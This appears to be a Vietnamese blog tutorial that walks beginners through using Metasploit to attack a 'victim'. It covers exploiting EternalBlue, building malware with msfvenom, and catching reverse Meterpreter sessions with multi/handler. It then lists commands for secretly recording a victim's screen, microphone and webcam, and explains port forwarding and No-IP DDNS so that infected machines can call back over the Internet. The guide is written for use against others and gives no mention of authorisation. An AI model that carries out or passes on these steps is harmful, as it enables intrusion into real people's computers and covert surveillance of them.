Giới thiệu

Metasploit Framework là một framework viết bằng Ruby sử dụng để tấn công và khai thác những lỗ hổng trên nhiều loại hệ thống khác nhau (Windows, Linux, Cisco, WordPress, ….).

Metasploit không chỉ đơn giản là một kho “chứa vũ khí” dành cho việc kiểm định hệ thống. Nó còn có thể được dùng để giúp pentesters tiết kiệm thời gian tìm và xâm nhập các lỗ hổng đã được tìm ra nhưng chưa được vá trên hệ thống mục tiêu, …

Bỏ qua những khái niệm rắc rối và không cần thiết, hôm nay mình sẽ cùng các bạn tìm hiểu Metasploit Framework ở mức độ cực kì cơ bản.

Cài đặt

Hiện tại có 5 cách để cài đặt Metasploit

  1. Sử dụng Metasploit được cài sẵn trong Kali Linux hoặc các OS hacking
  2. Cài đặt Metasploit vào một hệ điều hành Linux bất kì (Như Ubuntu)
  3. Cài đặt Metasploit vào Windows
  4. Sử dụng Metasploit trên Windows qua Pentest Box
  5. Sử dụng Metasploit trên Windows 10 qua Bash

Khái niệm cơ bản (học thuộc đi nhé)

LHOST: (local host) Địa chỉ IP của máy Hacker (Nếu tấn công ngoài Internet thì xài IP Public, hoặc DDNS của No-IP.com)

RHOST: (remote host) Địa chỉ IP của máy Vicitm (Nếu tấn công ngoài Internet thì xài IP Public, nếu là website thì dùng url cũng được)

LPORT: (local post) Port mở ra trên máy Hacker (Nếu tấn công ngoài Internet thì bắt buộc Port đó phải mở trên Router, còn hack trong mạng LAN thì port nào cũng được)

RPORT: (remote post) Port trên máy victim (Khi đi khai thác lỗ hổng, tùy lỗ hổng nằm trên giao thức nào thì có các RPORT đặc thù, thực chất Metasploit sẽ tự đặt cho các bạn)

PAYLOAD: Có cấu trúc như sau (tên hệ điều hành/kiểu hệ thống/kiểu tấn công/giao thức tấn công)

  • Tên hệ điều hành: android hay windows
  • Kiểu hệ thống: x86 hay x64 (Nếu không biết thì bỏ qua)
  • Kiểu tấn công: meterpreter hay shell
  • Giao thức: reverse_tcp/reverse_tcp_dns/reverse_https

Ví dụ: windows/meterpreter/reverse_tcp_dns

Khởi động Metasploit

Trước khi khởi động Metasploit, trên Kali Linux, chúng ta cần phải chạy PostgreSQL database trước.

systemctl start postgresql
msfdb init

Ghi chú nho nhỏ: Sau này bạn cần update metasploit thì cứ apt-get update && apt-get upgrade -y nhé, không phải update thủ công đâu.

B1: Khởi động service database hỗ trợ cho metasploit

service postgresql start

B2: Khởi động nó lên bằng lệnh msfconsole

msfconsole

Dùng Metasploit để khai thác lỗ hổng

B1: Tìm kiếm thông tin về module lỗ hổng. Mỗi lỗ hổng thường đi kèm mã của nó. Thí dụ tôi muốn khai thác lỗ hổng MS17_010 (hoặc là CVE-2017-0143) chẳng hạn.
P/s: Muốn tìm các lỗ hổng mới nhất thì các bạn chăm chỉ đọc các trang web về bảo mật. Ví dụ https://securityonline.info/ hoặc http://thehackernews.com/.

Cũng có một số lỗ hổng mà metasploit chưa cập nhật module khai thác thì bạn phải thêm thủ công từ nhiều nguồn khác vào. Lúc đó tác giả sẽ có hướng dẫn riêng cho bạn.

Cách 1: Nhanh hơn. Google từ khóa mã lỗ hổng + metasploit module exploit (hoặc how to exploit + mã lỗ hổng + by metasploit) . Ưu tiên lựa chọn các kết quả từ trang rapid7.com nhé (trang của nhà phát triển Metasploit).

Hai kết quả cho thấy cái thứ nhất là để khai thác, còn cái thứ hai có chữ Detection nghĩa là để quét xem Victim có bị lỗ hổng hay không. Trong đó sẽ có nhiều thông tin về lỗ hổng và tại Module Options, bạn sẽ thấy lệnh:

use exploit/windows/smb/ms17_010_eternalblue

Cách 2: Chậm hơn: dùng lệnh search + mã lỗ hổng trong metasploit để tìm

Những module nào có chữ auxiliary là để kiểm tra victim còn exploit là để tấn công.

B2: Sau khi kiếm được module, bạn gõ lệnh use + tên module

B3: Gõ lệnh Show Info để thu thập thông tin về module. Có mấy điểm sau chúng ta cần lưu ý

  • Available Targets: Những hệ điều hành bị ảnh hưởng. Đi kèm ID để chúng ta có thể chọn lựa hệ điều hành muốn tấn công. Chúng ta sẽ xài câu lệnh set target + ID để chọn hệ điều hành cần tấn công.
  • Basic Options: Cái này các bạn đầu tiên nhìn vào cột Required. Nếu báo Yes thì nó yêu cầu bạn phải khai báo tham số đó thì mới tấn công được. Sử dụng câu lệnh set + tên tham số + giá trị (Ví dụ: set RHOST 192.168.1.7)
  • Ngoài ra ở đây tại tham số PROCESSINJECT có lưu ý Change to lsass.exe for x64 thì các bạn phải đặt lại giá trị là lsass.exe nếu bạn muốn tấn công HĐH 64bit

B4: Sau khi hoàn thành các yêu cầu các bạn gõ exploit để bắt đầu tấn công

B5: Nếu thành công, nó sẽ có thông báo Meterpreter sessions x is opened
Gõ lệnh sessions -i + số thứ tự phiên để vào phiên

Dùng Metasploit để tấn công bằng file mã độc

File mã độc bạn có thể tạo bằng nhiều cách, xài msfvenom hoặc TheFatRat hoặc 1 số công cụ trên Kali Linux.

Bất cứ tool tạo mã độc nào mà có thể làm việc được với Metasploit thì các bạn đều phải khai báo ít nhất là 3 điều bắt buộc sau: LHOST, LPORT, PAYLOAD

Sau đó chúng ta sẽ thiết lập Metasploit để hứng kết nối từ Victim.

B1: Khởi động Metasploit và lần lượt gõ các câu lệnh sau

use exploit multi/handler
set LHOST
set LPORT
set PAYLOAD
exploit -j

B2: Khi victim chạy file mã độc, chúng ta sẽ có phiên Meterpreter

Khai thác

Sau khi đã có phiên Meterpreter, chúng ta có thể gõ help để show ra những lệnh để khai thác thông tin

  • screenshot: Chụp ảnh màn hình Victim
  • record_mic: Ghi âm mic
  • webcam_list: Hiển thị danh sách webcam
  • webcam_snap: Chụp ảnh qua webcam victim
  • webcam_stream: Stream trực tiếp từ máy victim

Cách mở port để tấn công qua Internet

B1: Mở trang cài đặt của Router ra. Nếu nhà bạn có nhiều router mắc nối tiếp, các bạn nên kết nối với con router đầu tiên

B2: Tìm 1 phần tên là NAT port hoặc Port Forwarding.

B3: Click Add để thêm 1 cấu hình mới. Chỗ này các bạn cần phải khai thông tin, tùy theo con router của bạn.

  • Server IP: Điền cái IP mạng LAN của Kali vào
  • Port: Điền Port muốn mở, còn nếu có 2 mục LAN PORT và WAN PORT thì điền như nhau

Bạn có thể lên youtube xem cách NAT port router của bạn

Lưu ý: nếu xài máy ảo thì máy thật phải tắt Firewall, nếu không là không hứng được kết nối về.

IP Public của bạn xem tại https://ipcuatoi.com/.

Vào trang canyouseeme.org. Nhập port đã mở vào ô port và bấm check, thấy như hình là OK

use exploit multi/handler
set LHOST <IP Public>
set LPORT <Port đã mở>
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -j

Cài đặt No-IP và đăng kí DDNS

Nếu bạn truy cập ipcuatoi.com một vài lần thì có thể dễ dàng thấy, địa chỉ IP Public của bạn bị thay đổi. Như vậy, chúng ta cần sử dụng 1 dịch vụ DDNS trung gian để nó dễ dàng phân giải ra IP mà chúng ta đang xài

Ví dụ như sau:

  • Nếu bạn tạo mã độc mà IP Hacker là 1.2.3.4 chẳng hạn, thì khi victim chạy thì nó sẽ tìm máy có IP 1.2.3.4 để trả phiên meterpreter về. Nhưng nếu IP Hacker bị đổi sang 3.4.5.6 thì hacker không thể nhận được Meterpreter session
  • Nếu bạn tạo mã độc mà IP Hacker là abc.ddns.net chẳng hạn,  thì khi victim chạy thì nó sẽ kết nối tới cái DDNS abc.ddns.net và nó sẽ tự động phân giải ra IP thật của hacker.
  • Trên máy hacker có cài tool để theo dõi sự thay đổi ip để đảm bảo DDNS luôn khớp với IP Public hiện tại. Hiện tại có 2 dịch vụ cung cấp DDNS FREE là No-IP và DynDNS. Trong bài này mình sẽ chỉ các bạn dùng No-IP

Đăng kí một tài khoản và tạo 1 DDNS mới

B1: Truy cập https://www.noip.com/sign-up . Và đăng kí 1 cái tài khoản.

Lưu ý: Chỗ hostname, nên chọn đuôi là ddns.net

B2: Check Mail và Confrim Account:

B3: Truy cập trang https://www.noip.com/download?page=linux và tải về file cài đặt

B4: Thực hiện các lệnh sau

tar -xvf noip-duc-linux.tar.gz
cd noip-2.1.9-1/
chmod a+x Makefile
./Makefile

B5: Nhập email bạn đăng kí No-IP bấm Enter

B6: Nhập mật khẩu rồi bấm Enter 2 lần

B7: Để khởi chạy No-IP các bạn gõ noip2 rồi Enter

Ví dụ test tấn công qua Internet (Thử nghiệm trên Server của Admin)

Leave a Reply

This site uses cookies to offer you a better browsing experience. By browsing this website, you agree to our use of cookies.